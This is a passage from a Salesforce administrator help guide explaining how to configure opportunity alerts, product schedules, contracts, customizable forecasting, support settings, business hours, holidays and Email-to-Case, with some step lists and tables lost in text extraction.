any information entered in them is saved as plain text when the lead is created.
See Also:
Preparing to Set Up Web-to-Lead
Capturing Web Leads
1343
Sales
SALES
Restricting Price and Quantity Editing on Opportunity
Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
To ensure that opportunity products use the price from the associated price book, remove the Sales Price field from the
opportunity products page layout.
To use a quantity of one for all opportunity products, remove the Quantity field from the opportunity products page layout.
Note: If you cannot remove these fields from the page layout, contact salesforce.com to enable this option.
Customize Application
Your organization can use alerts that automatically send an email notification for opportunities with large amounts. Customize
this alert to send an email when an opportunity reaches a threshold. Your threshold consists of an opportunity amount and
probability. For example, you may want to send an email to your team that an opportunity of $500,000 has reached a probability
of 90%.
See Also:
Activating Big Deal Alerts
1344
Customize
Check the Active box if you would like to activate the new alert immediately after you save.
Enter the From Email Name.
Enter the From Email Address.
Select a user that provides the appropriate opportunity page layout, language, and currency settings for the content of the
emails. This user must have the View All Data permission.
For organizations that use multiple currencies, all alerts include the amount in the currency of the opportunity. If the
opportunity currency is different than the currency of the user selected in this step, both currencies are included in the
email.
Enter a list of email recipients separated by commas. You can also include CC: and BCC: recipients but all must be valid
email addresses.
The BCC: field is not available if your organization has enabled compliance BCC emails.
8. Check the Notify Opportunity Owner box if you would like to include the owner of the opportunity in the alert
emails.
9. Click Save.
Note: An opportunity alert sends a notification the first time an opportunity reaches the threshold. So, an opportunity
that reaches the threshold with 90% probability will not trigger additional alerts if the probability subsequently goes
higher. However, an opportunity that already triggered an alert and then fell below the threshold can trigger a second
alert if it crosses that threshold again.
When working remotely in Connect Offline, you can make changes to opportunities that trigger alerts. These alert
messages will be sent when you update your data. For instructions on updating your data from Connect Offline, see
Logging in to Connect Offline on page 2801.
See Also:
Customizing Big Deal Alerts
Managing Multiple Currencies
1345
Customize
Manage Users
Updated and accurate opportunities drive precise forecasts. Ensure that your opportunities are up to date by enabling managers
to schedule opportunity update remindersautomated opportunity reports that managers can customize for their teams. For
example, a manager can schedule a weekly report of all the opportunities for the current fiscal quarter owned by anyone on
the team and have the report distributed to everyone on the team.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Opportunities > Update Reminders.
Click Edit.
Select Enable Update Reminders for My Organization. Deselect it to disable the feature.
Optionally, select Automatically Activate Reminders for Users with Direct Reports to schedule
opportunity update reminders for all users who have direct reports.
Note: Partner and customer portal users assigned Executive roles are considered direct reports of their account
owners. If an account owner is activated to receive opportunity update reminders, partner and customer portal users
assigned as Executives to the account receive opportunity update reminders, even if they dont have access to the
opportunity. To avoid reminders being sent to these users, remove them from the Executive role.
5. Click Save.
6. Select the boxes next to the users you want to activate, then click Activate. Optionally, check the box in the column header
to select all currently displayed items. Activated users can schedule opportunity update reminders. Any user that has direct
reports can be activated. To deactivate users, select them and click Deactivate.
See Also:
Scheduling Opportunity Update Reminders
1346
Customize
Customize Application
The Similar Opportunities feature allows users to find Closed/Won opportunities that match the attributes of an opportunity
they're currently viewing, and add them to the Similar Opportunities related list on that opportunity's record. Enable and
configure this feature so your users can quickly access information about past opportunities that may be helpful for the deals
they're currently working on. You can also modify the search criteria that Salesforce uses to identify similar opportunities and
the opportunity record fields that are displayed in the Similar Opportunities related list.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Opportunities > Similar Opportunities.
Click Edit.
Select Enable Similar Opportunities to add the Similar Opportunities related list to opportunity detail pages.
Select three to ten opportunity fields or related lists that you want Similar Opportunities searches to match against, and
then click Add. Use CTRL+click to select multiple items individually or SHIFT+click to select a range of items.
Note: A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the
specified attributes are matches. The more search criteria you select, the more similar opportunities will be identified
in a search.
5. Select up to 15 opportunity fields to display in the Similar Opportunities related list. The selected fields appear in the list
as columns, which you can arrange using the Top, Up, Down, and Bottom arrows.
Important: When deciding which opportunity fields to display, consider that users can see all of the information
that is displayed in a Similar Opportunities related list, even if the list includes records that aren't ordinarily
accessible because of sharing rules and permissions.
6. Click Save.
7. Add the Similar Opportunities related list to the opportunity page layout.
See Also:
Understanding Similar Opportunities Searches
Defining Similar Opportunities Search Criteria
Customizing Page Layouts with the Enhanced Page Layout Editor
Finding Similar Opportunities
Using Opportunities
1347
Customize
A Similar Opportunities search finds Closed/Won opportunities that match attributes of the current opportunity.
When enabling Similar Opportunities, you select the attributes that Salesforce uses as search criteria for identifying similar
opportunities. You can select three to ten opportunity fields or related lists.
When users search for similar opportunities, Salesforce finds a maximum of 10,000 matching Closed/Won opportunities in
a 3 month periodstarting with the oldest records firstand displays up to 300 of the most relevant opportunities. A
Closed/Won opportunity's relevance is determined by the number of attributes that match the current opportunity.
A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the specified attributes are
matches. The more search criteria you select, the more similar opportunities will be identified in a search. If there are more
than 10,000 matching Closed/Won opportunities, some of the most recent records won't be included in the Similar
Opportunities related list, even if they are highly relevant.
Tip: The best way to ensure that Similar Opportunities searches find current matching records, especially if your
organization has a large number of Closed/Won opportunities, is to define the smallest set of search criteria possible.
See Also:
Enabling and Configuring Similar Opportunities
Defining Similar Opportunities Search Criteria
If your organization uses the Similar Opportunities feature, you need to select the opportunity fields or related lists that are
used as search criteria.
You can use these standard fields and related lists.
Standard Fields
Account Name
Competitors
Close Date
Contact Role
Lead Source
Partner
Opportunity Owner
Products
Sales Team
Private
1348
Customize
Standard Fields
Probability (%)
Quantity
Type
You can also select any custom opportunity field, except those with these field types.
Auto-number
Currency
Formula
Picklist (multi-select)
Roll-up summary
Text (encrypted)
Text area
See Also:
Enabling and Configuring Similar Opportunities
Understanding Similar Opportunities Searches
Customize Salesforce to prompt users to select a product when creating an opportunity. Enabling this option makes it easier
for users to add products while creating an opportunity.
1. Click Your Name > Setup > Customize > Opportunities > Settings.
2. Check Prompt users to add products to opportunities to have Salesforce prompt users to select a product
when creating an opportunity.
3. Click Save.
4. We recommend making the Amount field on the opportunity read only to ensure your opportunity amounts are driven
from the products on the opportunity. See Field-Level Security Overview on page 663.
1349
Customize
Note: If enabled, replaces the Save button with a Save & Add Product button the opportunity creation page.
See Also:
Products, Price Books, and Schedules Overview
Customize Application
When you deactivate a product, you may want all related prices for that product automatically de-activated as well. Likewise,
if you activate a product, you can have all the prices for that product automatically activated.
1. Click Your Name > Setup > Customize > Products > Settings.
2. Check When changing active flag on a product... to have Salesforce automatically change the active flag on
all related prices to whatever the active flag is on the related product.
Leave this field unchecked if you want related prices to remain the same status whenever users activate or deactivate a
product.
3. Click Save.
See Also:
Products, Price Books, and Schedules Overview
Customize Application
Use the Product Family picklist to categorize your products. For example, if your company sells both hardware and software,
you can create two product families: Hardware and Software.
1350
Customize
If your organization has customizable forecasting, your users can have a different quota for hardware sales and software sales.
Users can also view forecasts for opportunities with hardware products separate from opportunities that include software
products. See Do I Have Customizable Forecasting? on page 2502.
To begin using product families:
Customize the Product Family picklist to include the different categories of products you sell. See Picklist Considerations
on page 1059.
For each product in your price books, edit the product and select the appropriate Product Family value. See Displaying
and Editing Products on page 2606.
If your organization has customizable forecasting, set a different quota for each product family for your users. See Setting
Quotas for Customizable Forecasting on page 514.
If your organization has customizable forecasting, consider changing your forecast settings to display a particular forecast
family value by default when your users click the Forecasts tab. See Defining Customizable Forecast Settings on page 1355.
See Also:
Setting Up Customizable Forecasting
Customize Application
AND
Read, Create, Edit, and Delete on products
AND
Read, Create, Edit, and Delete on price books
Create default revenue and quantity schedules for products. In addition, administrators can enable schedule settings that allow
users to create schedules for individual products on opportunities.
Quantity Schedule
Outlines the dates, number of units (i.e., quantity), and number of installments for billing or shipping a product. Your
organization can decide exactly how to use quantity schedules.
Revenue Schedule
Outlines the dates, revenue amounts, and number of installments for billing or recognizing revenue from a product.
Your organization can decide exactly how to use revenue schedules.
1351
Customize
Enabling Schedules
Default Schedule
A schedule associated with a product in a price book. Administrators can establish a default quantity schedule, a default
revenue schedule, or both. Every time the product is added to an opportunity, the default schedules are used. On any
particular opportunity, users can override the default schedules.
See Also:
Administrator tip sheet: Tips & Hints for Products and Schedules
Enabling Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions
1352
Customize
Customize Application
Customize Salesforce to handle your internal contract management process. Enable or disable contract expiration notices and
auto-calculation of contract end dates.
Enabling Contract Expiration Notices
Set an option to automatically send email notifications to account and contract owners when a contract expires. To activate
these expiration notices:
1. Click Your Name > Setup > Customize > Contracts > Settings.
2. Select the Send contract expiration notice emails... option.
3. Click Save.
Remove the check on this option and click Save to stop sending expiration notices.
Disabling Auto-Calculation of Contract End Dates
Your contracts may not have end dates or you may prefer to have users enter them manually. If so, disable auto-calculation of
contract end dates:
1.
2.
3.
4.
Click Your Name > Setup > Customize > Contracts > Settings.
Remove the check in the Auto-calculate Contract End Date option.
Click Save.
View your page layout and field-level security settings for Contract End Date, Contract Start Date, and Contract
Term to ensure your users can read or edit them as needed. See Managing Page Layouts on page 1276 and About Field
Accessibility on page 1297.
To enable auto-calculation, check this option and click Save. If Salesforce auto-calculates Contract End Date, it
does not display on the contracts edit page.
Note: If Auto-calculate Contract End Date is enabled but Contract Start Date or Contract Term is empty,
Contract End Date will be blank.
See Also:
Contracts Overview
1353
Forecasts
FORECASTS
Setting Up Customizable Forecasting
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Sales forecasts represent the best estimate of how much revenue you can generate. They give your managers and executives a
view of your overall business no matter how dispersed your sales teams are.
Because forecasting is so universal, customizable forecasting is a flexible solution for even the most advanced requirements.
Get started using customizable forecasting by clicking Your Name > Setup > Customize > Forecasts (Customizable):
Click Edit Forecast settings for your company to customize the default settings for your organization. See Defining
Customizable Forecast Settings.
Click Batch submit forecasts for your users to set up batch submission. See Submitting Customizable Forecasts in Batches.
Click Set up the forecasting hierarchy for your company to set up your initial forecast hierarchy. Refer to Setting Up
Your Forecast Hierarchy.
See Also:
Administrator tip sheet: Setting Up Customizable Forecasting
Submitting Customizable Forecasts in Batches
Using Product Families
Defining Customizable Forecast Settings
Setting Up Your Forecast Hierarchy
Enabling Customizable Forecasting
1354
Customize
Customize Application
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Forecast Data Aggregation determines the type of data that is displayed on forecasts.
Forecast Summary Default View determines the default product family, date start, date range, and forecast numbers for
default forecasts.
Forecast Data Sharing determines whether forecast data can be shared.
Choose Opportunity Close Date if you want the entire opportunity amount to contribute to the forecast period
for that date. If your organization does not use products, this is the only option available.
Choose Product Date if you want the amount of the product on the opportunity to contribute to the forecast period
that corresponds with the Product Date. When no products exist on an opportunity or the product date is blank,
Salesforce uses the Opportunity Close Date in the users forecast instead.
Choose Schedule Date if you want the individual revenue schedule amounts to contribute to the forecast periods
that correspond with the schedule dates. If a product does not have a revenue schedule, Salesforce uses the Product
Date in the users forecast instead.
6. Choose a Forecast Type that determines how many forecasts your users will submit in a period:
Choose Use Overall Forecast if your organization does not use products. Your users will have one forecast and
one quota for each period. If your organization does not use products, this is the only option available.
Choose Use Product Families if your users have one quota and one forecast for each product family. See Using
Product Families.
1355
Customize
7. Choose a default view for your users. This setting determines what forecast product family, date start, date range, and
forecast totals to display for users when they first click the Forecasts tab. Users can change their view but the default remains
the same for all users.
8. Enable or disable forecast sharing by selecting or deselecting Enable Forecast Sharing.
9. Click Save.
If you have enabled forecast sharing, you are prompted to choose who can share existing forecast views. The options are:
Require Administrator assistance for forecast sharing - Only administrators can share existing
forecast data.
Forecast managers can share their own forecast data - Administrators can share existing forecast
data, and existing forecast managers can also share their own views.
Note: This choice applies to existing forecasting views only; it is not a default setting for your organization. Each
time you edit or assign a forecast manager in the role hierarchy, you must define who can share that view.
If you have chosen to disable forecast sharing, you are prompted to confirm your choice.
If you use report builder, note that it doesnt support Customizable Forecasts.
See Also:
Setting Up Customizable Forecasting
Manually Sharing a Forecast
Setting Your Fiscal Year
Customize Application
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Your fiscal year determines your monthly or quarterly forecasting cycle, the month it starts, and whether the Fiscal Year
is named for the starting or ending year. For example, if your fiscal year starts in April 2005 and ends in March 2006, your
fiscal year setting can be either 2005 or 2006.
To set your fiscal year for customizable forecasting:
1. Begin by archiving your data first because changing your fiscal year settings affects your opportunity and forecast data. We
recommend running and exporting the following reports:
Opportunity Pipeline
1356
Customize
2. Click Your Name > Setup > Customize > Forecasts (Customizable) > Fiscal Year.
3. Choose a Forecast Period of monthly or quarterly depending on your organizations forecasting cycle.
The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you
choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available.
4. Choose a Fiscal Year Start Month that represents the beginning of your organizations fiscal year.
5. Select a Fiscal year is based on option that represents how your organization refers to a fiscal year. For example,
if your fiscal year starts in April 2004 and ends in March 2005 but is called Fiscal Year 2005, choose The ending month
because the last month determines how your organization refers to that fiscal year.
6. Do not check Apply to all forecasts and quotas unless you want to change the fiscal year settings of forecasts
created before you enabled customizable forecasts. Checking this option changes your historical forecast data.
7. Click Save.
See Also:
Defining Customizable Forecast Settings
Customize Application
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Your forecast hierarchy lists each user that can use customizable forecasting. It determines how forecasts roll up through your
hierarchy. It is based on the role hierarchy by default, or the territory hierarchy if your organization has territory management.
When customizable forecasting is enabled for your organization, it automatically generates a forecast hierarchy based on your
organizations role hierarchy. The forecast hierarchy becomes based on your territory hierarchy only when you enable territory
management. To customize your forecast hierarchy:
Make sure that all the appropriate users are in your forecast hierarchy. If any are not and should be, see Enabling Users
for Customizable Forecasting.
Make sure that the appropriate users are the assigned forecast manager whenever there is more than one user in a role or
territory in your forecast hierarchy. Each user at the bottom of your forecast hierarchy can be a forecast manager. However,
above that, a single user must be chosen as the forecast manager for forecasts to roll up to that user. See Assigning Forecast
Managers in Your Forecast Hierarchy.
Share forecast manager views with other users. See Manually Sharing a Forecast.
1357
Customize
If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.
See Also:
Setting Up Customizable Forecasting
Enabling Users for Customizable Forecasting
Assigning Forecast Managers in Your Forecast Hierarchy
Customize Application
Note: This information applies to Customizable Forecasting and not to other forecasting products.
To enable users for customizable forecasting if your organization does not use territory management:
1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy.
2. Click Enable Users next to a role to view a list of users assigned to that level.
3. Select a user and click Add to enable the user for customizable forecasting. To disable a user, select the user and click
Remove.
4. Click Save.
To enable a user for customizable forecasting if your organization uses territory management:
1.
2.
3.
4.
5.
If you use report builder, note that it doesnt support Customizable Forecasts.
1358
Customize
Note: To view a list of users for a territory, select the territory name in the territory hierarchy or run a territory report.
For more information on territory reports, see Territory Reports.
If you add more than one user to a role or territory, make sure that the appropriate user is the assigned forecast manager
for that role or territory. See Assigning Forecast Managers in Your Forecast Hierarchy
See Also:
Setting Up Your Forecast Hierarchy
Customize Application
Note: This information applies to Customizable Forecasting and not to other forecasting products.
After users are enabled for customizable forecasting, assign a user as a forecast manager for each role in your forecast hierarchy.
Assigning someone as a forecast manager means that all forecasts from users below that user in the forecast hierarchy roll up
to that person. For example, an executive and executive assistant may have the same role, but the executive is the assigned
forecast manager in the forecast hierarchy because all subordinates' forecasts roll up to the executive. Both the executive and
executive assistant can submit forecasts, but forecasts of other users do not roll up to the executive assistant.
If a role in the forecast hierarchy has no forecast manager, that role and all its subordinate roles are not included in your
forecasts.
If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.
1. Click Your Name > Setup > Customize > Forecasts > Forecasts (Customizable).
2. Click Assign Manager or Edit Manager next to a role to assign a user as the forecast manager of that role.
Roles without roles below them cannot have forecast managers unless your organization has territory management, which
supports forecast managers at all levels.
3. Choose a user to be assigned as the forecast manager of the selected role. If no users are available for the role, enable the
appropriate user; see Enabling Users for Customizable Forecasting.
4. If forecast sharing is enabled, choose the sharing settings:
Choose Require Administrator assistance for forecast sharing to limit forecast sharing for this view
to administrators. This is the default option.
Choose Forecast managers can share their own forecast views to allow the administrator or the
forecast manager to share this view.
1359
Customize
5. Click Save.
See Also:
Setting Up Your Forecast Hierarchy
Manually Sharing a Forecast
Customize Application
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Enabling customizable forecasting for your organization allows your forecast users to view and submit their customizable
forecasts from the Forecasts tab based on your customizable forecast settings. If you use report builder, note that it doesnt
support Customizable Forecasts.
1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy.
2. Click Enable Customizable Forecasting. If this option is not available, customizable forecasting is already enabled for
your organization. After you enable customizable forecasting, three new user permissions are available:
Permission
Description
Override Forecasts
3. Choose the appropriate opportunity page layouts that you want to include the new Opportunity Forecasts related list.
Optionally, choose the Append... option to add this related list to page layouts even if users have customized them.
4. Click Save.
1360
Customize
5. Enable or disable these permissions where necessary. For information on changing permissions, see Overview of User
Permissions and Access on page 555.
Note: With customizable forecasts, your forecasts still depend on how your Opportunity Stage picklist values
map to Forecast Categories. For instructions on reviewing these mappings, see Picklists with Additional Information.
See Also:
Setting Up Customizable Forecasting
Enabling Territory Management
Manually Sharing a Forecast
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Your administrator defines your organization's forecasting hierarchy, which determines which users can view the forecast data.
However, your administrator can manually extend sharing privileges for forecast data, and you may be able to manually extend
sharing privileges for your own forecast data as well. Manual forecast sharing can only increase access to forecast data; it cannot
restrict access for users who already have access. To manually share a forecast, you must be an administrator or a forecast
manager who has been given access to share your forecast data.
To see which users can view your forecast or to share your forecast data, do one of the following:
Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy, then click Share next to the view you want
to share.
Click Sharing on the forecast home page to share your own forecast data.
The User and Group Sharing list shows you all the users who currently have access to this forecast data. It also details the level
of access they have, whether they can submit a forecast, and the reason they have that access. The reasons a user might have
access to forecast data are:
Reason
Description
Administrator
A user has access to forecast data that was granted via the
Sharing button on the forecast.
Forecast Manager
Owner
The owner can always see his or her own forecast data.
1361
Customize
Reason
Description
On the Forecast Sharing Detail page, you can do any of the following:
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant other users or groups access to the forecast data.
Note: Manual sharing extends to the opportunity data that makes up the forecast. If a user has permission to
override forecast data, then the user also has permission to override the opportunity forecast data.
Click Expand List to view all users that have access to the forecast data.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
See Also:
Defining Customizable Forecast Settings
Assigning Forecast Managers in Your Forecast Hierarchy
Enabling Customizable Forecasting
Granting Access to Records
Viewing Which Users Have Access
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Submitting forecasts takes a snapshot of forecast data and makes that data available in forecast history and reports. Users can
submit their forecasts individually by clicking Submit from their forecast.
To submit multiple forecasts at once:
1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Batch Submit.
2. Choose the appropriate forecast period.
3. Select the users that have forecasts you want to submit and click Add to add them to the list of Selected Users for
Batch Submit. Select more than one at a time using CTRL+click.
4. Click Submit.
1362
Support
5. Click OK.
See Also:
Setting Up Customizable Forecasting
SUPPORT
Setting Up Customer Support
The available support setup options vary according to which Salesforce Edition you have.
If your organization uses cases and solutions, you can set up various automated support features. Click Your Name > Setup
> Customize > Cases.
A Web-to-Case form
An Email-to-Case message
An On-Demand Email-to-Case message
A Customer Portal
A Self-Service portal
Click Email-to-Case to set up the ability to capture customer emails as cases. The setup specifies how the content of each
customer email automatically populates case fields.
For support features related to solutions, click Your Name > Setup > Customize > Solutions.
Click Solution Categories to set up categories so your users can categorize the solutions they create.
Click Solution Settings to enable specific options for solutions.
For additional support features, click Your Name > Setup > Customize > Self-Service.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Click Public Solutions to set up public solutions for your customers to use when searching for solutions.
Click Web-to-Case to set up the ability to capture cases from your website.
Click Self-Service Portal to set up your organizations web portal for your customers to log cases and search for solutions.
1363
Customize
For support features related to a Salesforce Customer Portal, click Your Name > Setup > Customize > Customer Portal.
Click Settings to set up your organization's Customer Portal so that your customers can log cases, search for solutions,
and access any custom objects you may have created for them.
For support features related to Salesforce CRM Call Center, click Your Name > Setup > Customize > Call Center.
Click Call Centers to set up new call centers and manage the users who are assigned to them.
Click Directory Numbers to set up additional phone numbers that can be searched in a call center user's phone directory.
Click SoftPhone Layouts to set up the layouts that are used to display call information in a call center user's SoftPhone.
To create support queues for cases or custom objects, click Your Name > Setup > Manage Users > Queues.
The support features include the ability to notify customers when their case is created manually or via the web, or when their
case is resolved. You can also automatically notify users when a case is escalated, created, or re-assigned. To use notification
emails, you must create email templates for each type of notification.
See Also:
Setting Up Your Organization
Administrator tip sheet: Setting Up Customer Support
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide
Administrator setup guide: Case Management Implementation Guide
You can specify the business hours at which your customer support team operates, including multiple business hours in multiple
time zones. Setting business hours lets you apply specific time zones and locations to:
Cases
Case escalation rules
Case milestones in entitlement processes
After you set business hours, users can click Business Hours on a case to set the times at which a support team is available
to work on the case. Additionally, users with the Customize Application permission can add business hours to escalation
rules so that when the details of a case match the criteria of an escalation rule, the case is automatically updated and escalated
with the times and location on the rule. For example, a case updated with Los Angeles business hours only escalates when a
support team in Los Angeles is available. By default, business hours are set 24 hours, seven days a week in the default time
zone specified in your organization's profile. For more information, see Setting Up Your Organization on page 385 and Setting
Up Escalation Rules on page 1309.
1364
Customize
By default, the 24 hours checkbox is selected next to each day. Deselect this checkbox if your support team is
unavailable during the entire day. When you deselect the 24 hours checkbox, you can enter start and end times for
the business hours, or leave the fields blank.
Choose the start and end times for the business hours. If a time is not available, click the field and enter the time. Start
times must be earlier than end times.
8. Click Save.
9. Optionally associate the business hours to:
Escalation rules so that when the details of a case match the criteria of an escalation rule, the case is updated and
escalated with the business hours on the rule. For more information, see Setting Up Escalation Rules on page 1309.
Holidays so that business hours and any escalation rules associated with business hours are suspended during the dates
and times specified in holidays. For more information, see Setting Holidays on page 1369.
To update business hours, click Your Name > Setup > Company Profile > Business Hours and click the Edit link next to
the name of the business hours you wish to update.
Tips on Setting Business Hours
Consider the following when setting business hours:
After you set business hours, add the Business Hours lookup field to case layouts and set field-level security on the
Business Hours field. This allows users to view and update business hours on a case. For more information, see
Customizing Page Layouts on page 1278 and Field-Level Security Overview on page 663.
Business hours on a case are automatically set to your organization's default business hours, unless the case matches the
criteria on an escalation rule associated with different business hours.
Salesforce automatically calculates daylight savings times for the time zones available for business hours.
Escalation rules only run during the business hours with which they are associated. For more information, see Setting Up
Escalation Rules on page 1309.
You can update cases associated with business hours that are no longer active without having to reactivate business hours.
You cannot include the Business Hours field in list views or reports.
1365
Customize
You can create multiple business hours for support teams that operate in the same time zone but at different hours.
For simplicity, we recommend that you create one set of business hours per support center.
You cannot deactivate business hours that are included in escalation rules. You must first remove them from the escalation
rules. For more information, see Setting Up Escalation Rules on page 1309.
You can associate up to 1000 holidays with each set of business hours.
Business hours on a case take precedence over business hours on entitlements. Business hours on entitlements only add
business hours to cases created from entitlements. For example, if you add an entitlement with business hours to a case
that already has business hours, the entitlement's business hours are ignored.
See Also:
Creating Escalation Rules
Setting Up Customer Support
Entitlement Management Overview
Manage Cases
AND
Customize Application
To select default support templates and automated support features for your organization:
1. Click Your Name > Setup > Customize > Cases > Support Settings.
2. Click Edit.
3. Select the following settings and templates as necessary:
Field
Description
1366
Customize
Field
Description
The user listed in the Case History related list for automated
case changes. Automated case changes may occur from
assignment rules, escalation rules, On-Demand
Email-to-Case, or cases logged in the Self-Service portal. This
user must have the System Administrator profile or the
Modify All Data and Send Email permissions.
The template used to notify contacts that their case was created
manually by a support agent. The notification is optional; it's
triggered by a checkbox on the case edit page. This template
must be Available for Use.
Enable Case Comment Notification to Contacts Select this checkbox to notify contacts who aren't Self-Service
Select this checkbox to notify the case owner when a user adds
a public or private comment to a case. If you select this setting,
case owners can't opt out of receiving these notices. (Notices
aren't sent to inactive case owners.)
1367
Customize
Field
Description
1368
Customize
Setting Holidays
Field
Description
the Close Case button and update information on close case
page layouts. See Closing Cases on page 3203.
Selecting Show Closed Statuses in Case Status
Field doesn't remove the Close button from case list views.
Instead, it adds Closed to the list of statuses available for users
to choose from when they select multiple cases and click
Change Status on case list views. See Viewing Case Lists on
page 3178.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
See Also:
Managing Email Templates
Managing Queues
Managing Assignment Rules
Creating Escalation Rules
Capturing Web Cases
Setting Up Customer Support
Setting Holidays
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Holidays enable you to specify the dates and times at which your customer support team is unavailable. After you create a
holiday, you can associate it with business hours to suspend business hours and escalation rules during the dates and times
specified in the holiday. For more information, see Setting Business Hours on page 1364 and Setting Up Escalation Rules on
page 1309.
To set holidays:
1369
Customize
Setting Holidays
1. Click Your Name > Setup > Company Profile > Holidays.
If the Go to list link appears at the bottom of the Holidays or Elapsed Holidays related list, click it to display all the
items. From the list you can edit or delete any existing holiday, or clone any elapsed holiday.
Caution: Any elapsed holidays that you delete are not moved to the Recycle Bin. They cannot be recovered.
The recurring icon ( ) displays next to the date and time of recurring holidays.
2. Click New.
3. Enter a name for the holiday.
4. Enter a date for the holiday.
If you want the holiday to span more than one day:
a.
b.
c.
d.
Specify the exact times at which the holiday takes place by deselecting the All Day checkbox next to the Time field
and entering the exact times.
Select the Recurring Holiday checkbox to schedule the holiday to recur during specific dates and times:
In the Frequency field, select the frequency at which the holiday recurs. When you click the Daily, Weekly, or
Monthly fields, more options display that allow you to refine frequency criteria.
In the Start Date and End Date fields, specify the dates during which you wish the holiday to recur.
The following error message displays if you select a start date and end date that does not correspond with the
frequency you selected: The recurring holiday has no occurrence.
6. Click Save.
7. Click Add/Remove on the Business Hours related list.
8. Add or remove business hours to the holiday by selecting business hours in the Available Business Hours column, and
clicking the Add or Remove arrows to add or remove business hours to the Selected Business Hours column.
9. Click Save.
Tips on Setting Holidays
Consider the following when setting holidays:
1370
Customize
You can associate up to 1000 holidays with each set of business hours.
Holidays automatically acquire the time zone of the business hours with which they are associated. For example if you
associate a holiday to business hours that are in Pacific Standard Time, the holiday will take effect for those business hours
in Pacific Standard Time.
Holiday names do not need to be unique. For example, you could enter multiple holidays named New Year's Day.
Currently, there are no limits to how many holidays you can create for your organization.
Currently, report results do not take into account holidays.
If you schedule a holiday to recur on a specific day of every month, the holiday will only recur on months that have that
specific day. For example, if you schedule a holiday on the 31st day of every month, then the holiday will only recur on
months that have 31 days. If you want a holiday to recur on the last day of every month, choose last from the On day of
every month drop-down list.
You can only add business hours marked as Active to holidays. For more information, see Setting Business Hours on
page 1364.
Customize Application
Salesforce can automatically create a case when an email is sent to one of your company's email addresses, such as
support@company.com. This Email-to-Case functionality auto-populates case fields from the content of each email. For
example, an email subject heading becomes a case subject. Your organization can set up Email-to-Case or On-Demand
Email-to-Case to efficiently resolve and correspond with customer inquiries via email.
Salesforce allows you to choose one of two Email-to-Case options:
Email-to-Case
Email-to-Case requires downloading the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case
and installing the agent behind your network's firewall.
Use Email-to-Case if you have a requirement to keep all email traffic within your firewall, and you want to accept email
attachments larger than 10 MB from customers.
On-Demand Email-to-Case
On-Demand Email-to-Case uses Apex email services to convert email to cases, without you having to download and
install an agent behind your network's firewall.
Use On-Demand Email-to-Case if you are not concerned about keeping email traffic within your firewall, and you do
not need to accept attachments larger than 10 MB from customers.
1371
Customize
Setting Up Email-to-Case
The following high-level steps outline how to set up Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce, enable Email-to-Case and configure your email routing addresses. See Enabling and Configuring
Email-to-Case on page 1373.
3. Download the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case.
4. Install the agent behind your network's firewall.
5. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.
6. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1278.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 472.
Setting Up On-Demand Email-to-Case
The following high-level steps outline how to set up On-Demand Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce, configure your email routing addresses and enable On-Demand Email-to-Case. See Enabling and Configuring
On-Demand Email-to-Case on page 1377.
3. Configure your email system to forward case submissions to the email services address provided to you by Salesforce. For
more information, see your email system's documentation.
4. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.
5. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
6. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1278.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 472.
1372
Customize
Customize Application
To enable Email-to-Case:
This topic describes how to enable and configure Email-to-Case using the options available on the Email-to-Case Settings
page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before and
after the tasks described in this topic.
This topic is intended for customers who are running the Email-to-Case agent within their network's firewall, as opposed to
On-Demand Email-to-Case which uses Apex email services. For information on enabling and configuring On-Demand
Email-to-Case, see Enabling and Configuring On-Demand Email-to-Case on page 1377.
